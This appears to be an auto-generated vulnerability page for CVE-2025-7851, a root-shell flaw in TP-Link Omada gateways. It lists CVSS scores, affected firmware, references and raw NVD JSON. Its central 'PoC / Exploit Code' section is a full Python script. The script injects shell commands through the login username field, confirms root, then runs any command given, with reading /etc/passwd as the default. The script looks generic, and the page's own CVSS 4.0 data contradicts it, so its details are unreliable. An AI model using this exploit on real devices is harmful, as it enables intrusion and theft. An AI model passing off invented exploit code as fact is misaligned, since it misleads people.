CVE-2025-7851

Description

An attacker may obtain the root shell on the underlying OS system with the restricted conditions on Omada gateways.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tp-link:fr307-m2_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:tp-link:fr307-m2_firmware:1.2.5:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tp-link:fr307-m2:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:tp-link:fr205_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:tp-link:fr205_firmware:1.0.3:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tp-link:fr205:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:tp-link:fr365_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:tp-link:fr365_firmware:1.1.10:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tp-link:fr365:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:tp-link:g611_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:tp-link:g611_firmware:1.2.2:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tp-link:g611:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:tp-link:g36_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:tp-link:g36_firmware:1.1.4:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tp-link:g36:-:*:*:*:*:*:*:* - NOT VULNERABLE

TP-Link Omada Festa网关系列受影响固件版本

TP-Link Omada Pro有线路由器受影响固件版本

TP-Link Omada SOHO网关受影响固件版本

建议参考TP-Link官方安全公告获取完整受影响版本列表

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-7851 - TP-Link Omada Gateway Root Shell Exploit
# Vulnerability: Command Injection leading to Remote Root Shell
# CVSS: 9.8 (Critical)

import requests
import sys
import argparse

TARGET_URL = "http://{target}/cgi-bin/luci/"
CMD_INJECTION_PAYLOAD = ";id;"

def exploit(target_ip, port, command):
    """
    Exploit CVE-2025-7851 to obtain root shell on Omada gateway.
    The vulnerability exists in the web management interface where
    user-supplied input is not properly sanitized, allowing OS command injection.
    """
    target = f"http://{target_ip}:{port}"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    # Inject command into vulnerable parameter
    payload = {
        "username": f"admin{CMD_INJECTION_PAYLOAD}",
        "password": "admin"
    }

    try:
        response = requests.post(
            f"{target}/cgi-bin/luci",
            data=payload,
            headers=headers,
            timeout=10,
            verify=False
        )

        if "uid=0(root)" in response.text:
            print(f"[+] Root shell obtained on {target_ip}")
            print(f"[+] Executing command: {command}")
            # Execute arbitrary command as root
            cmd_payload = {
                "username": f"admin;{command};",
                "password": "admin"
            }
            resp = requests.post(
                f"{target}/cgi-bin/luci",
                data=cmd_payload,
                headers=headers,
                timeout=10,
                verify=False
            )
            print(resp.text)
        else:
            print(f"[-] Target {target_ip} not vulnerable or patched")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-7851 Exploit")
    parser.add_argument("target", help="Target IP address")
    parser.add_argument("--port", default=80, help="Target port")
    parser.add_argument("--cmd", default="cat /etc/passwd", help="Command to execute")
    args = parser.parse_args()
    exploit(args.target, args.port, args.cmd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-7851
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-7851
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-7851/
[4] VulDB https://vuldb.com/cve/CVE-2025-7851
[5] https://support.omadanetworks.com/en/document/108456/
[6] https://www.forescout.com/blog/new-tp-link-router-vulnerabilities-a-primer-on-rooting-routers/
[7] https://www.omadanetworks.com/us/business-networking/all-omada-router/
[8] https://www.omadanetworks.com/us/business-networking/omada-pro-router-wired-router/
[9] https://www.tp-link.com/us/business-networking/soho-festa-gateway/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-7851", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2025-10-21T01:15:37.330", "lastModified": "2025-10-24T17:15:43.390", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker may obtain the root shell on the underlying OS system with the restricted conditions on Omada gateways."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:fr307-m2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.5", "matchCriteriaId": "6952617F-CF3F-4EB4-89B3-0C7076EEEEBC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:fr307-m2_firmware:1.2.5:-:*:*:*:*:*:*", "matchCriteriaId": "5FDFE511-0244-454D-8D3F-C7E46D499FC5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:fr307-m2:-:*:*:*:*:*:*:*", "matchCriteriaId": "2559CDDD-2C81-49A8-BF42-B3F6AC68F5F0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:fr205_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.3", "matchCriteriaId": "D7FC1549-BC5C-45CF-8524-6DFFB4193D1B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:fr205_firmware:1.0.3:-:*:*:*:*:*:*", "matchCriteriaId": "532C5C8D-3AC4-4596-8D8C-6855686BD92A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:fr205:-:*:*:*:*:*:*:*", "matchCriteriaId": "56799602-9EF3-47D5-86CC-9AA2AE3013CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:fr365_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.10", "matchCriteriaId": "D38B9DBD-3397-40B8-B4A5-C1E0C248C300"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:fr365_firmware:1.1.10:-:*:*:*:*:*:*", "matchCriteriaId": "4DA30139-EBED-40FD-BA20-CED14607B648"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:fr365:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFB3D95C-C64A-48A6-8D13-E158CFB3CC7C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:g611_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.2", "matchCriteriaId": "E6F8E98F-0C86-40C0-BBD3-D2B1889BAA87"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:g611_firmware:1.2.2:-:*:*:*:*:*:*", "matchCriteriaId": "5FF584E3-70F0-4B05-857B-CE07D87BA130"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:g611:-:*:*:*:*:*:*:*", "matchCriteriaId": "D4BA74E1-BDA0-4FDD-820A-8DE32EEE2AA7"}]}]}, {"operator ... (truncated)